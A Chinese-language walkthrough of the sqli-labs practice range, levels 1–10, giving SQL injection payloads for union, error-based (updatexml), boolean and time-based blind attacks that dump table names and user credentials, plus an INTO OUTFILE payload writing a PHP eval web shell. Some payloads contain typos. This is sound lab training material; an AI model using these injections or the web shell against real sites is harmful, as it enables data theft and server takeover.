靶场搭建
靶场地址 GixtHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.
下载过后压缩包解压到小皮www目录下,访问http://localhost/sqli-labs-master/
主要php版本要是5点多,我这里使用的是5.4.45
第一关
判断是否由字符注入,输入单引号,双引号进行测试,
?id=1' --+
判断存在单引号的注入问题,接下来order by猜解字段
?id=1' and 1=2 order by 4 --+
到4的时候才发生报错,说明一共有三个字段,接下里判断显示字段
?id=1' select 1,2,3 --+
?id=1' and 1=2 union select 1,database(),version() --+
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
直接查users表的信息
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查数据
?id=1' and 1=2 union select 1,username,password from users limit 0,1 --+
?id=1' and 1=2 union select 1,group_concat(username,password),3 from users --+
第二关
这一关为数字型,?id=1 and 1=2
还是三个字段
查看回显位
接下来和第一关一样直接上截图了
第三关
输入数字 and 1=2 没报错 输入' 字符报错
根据报错信息得到过滤payload ?id=1') and 1=2 --+
其他的也是都一样 直接上截图
第四关
输入数字id =1 and 1=2 --+ 没有报错 尝试了 ' " ') ")
实现了报错,") and 1=2 --+
剩下的和上面的都一样,还是直接上截图
第五关
试了好多注入符都没有回显
猜测是报错注入,使用updatexml报错注入
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
再接着进行查库,查列,查数据
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(column_name)),0x7e) from information_schema.columns where table_name='users'),0x7e),1) --+
?id=1' updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select group_concat(username,password)),0x7e) from users),0x7e),1)--+
第六关
第五关的单引号换成双引号
还是直接上截图
第七关
提示outfile 写入文件 ,修改mysql的配置文件
?id=-1')) union select 1,2,'<?php @eval($_POST["not"]);?>' into outfile "D:\\python\\PHP study\\WWW\\sqli-labs-master\\Less-7\\1.php" --+
第八关
输入?id=1' --+ 有回显,但是sql语句都被注释了,不能使用报错注入
测试数据库长度
?id=1' and length(database())=8 --+
页面回显正常,说明长度位8
再判断数据库名第一位是否大于'a',直到s才报错,说明第一位是s
?id=1' and left(database(),1)>'a' --+
接下来判断前两位
?id=1' and left(database(),2)>'sa'--+
猜表名(ascii)
第一个表的第一个字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit,0,1),1,1))>101 --+
第一个表的第二个字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109 --+
第二个表的第一个字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114 --+
以第四个表为例,猜测第一个位u(117)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --+
爆列名
?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),0,1))>0--+
第一个是id 对应的ascii(105,100)
?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+
接下来猜解数据值,
?id=1'and ascii(substring((select username from users limit 0,1),1,1))>0--+
?id=1'and ascii(substring((select password from users limit 0,1),1,1))>0--+
第九关
根据提示是时间盲注,使用单引号对参数进行包装
时间盲注是猜解正确,页面快速返回,猜解错误,则按照规定时间返回
?id=1' --+
判断数据库长度
?id=1'and if(length(database())>8,null,sleep(10)) --+
按规定时间返回说明数据库长度小于或等于8
使用时间盲注,
猜解数据库名第一位
?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
猜解正确,按照正常时间返回
猜表名第一位
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1)1,1))=101,1,sleep(10)) --+
猜列名的第一位 (这里使用的是第四个表 'users' 第一个列明是id)
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))=105,1,sleep(10)) --+
猜解数据值(也是猜解的users表)
?id=1' and if(ascii(substr((select username from users limit 0,1)1,1))=68,1,sleep(10)) --+
第十关
使用双引号进行处理
?id=1" --+
其他的和第九关一样,这里就直接上截图了
数据库长度
猜解库名第一位
猜解表名第一位
猜解列名第一位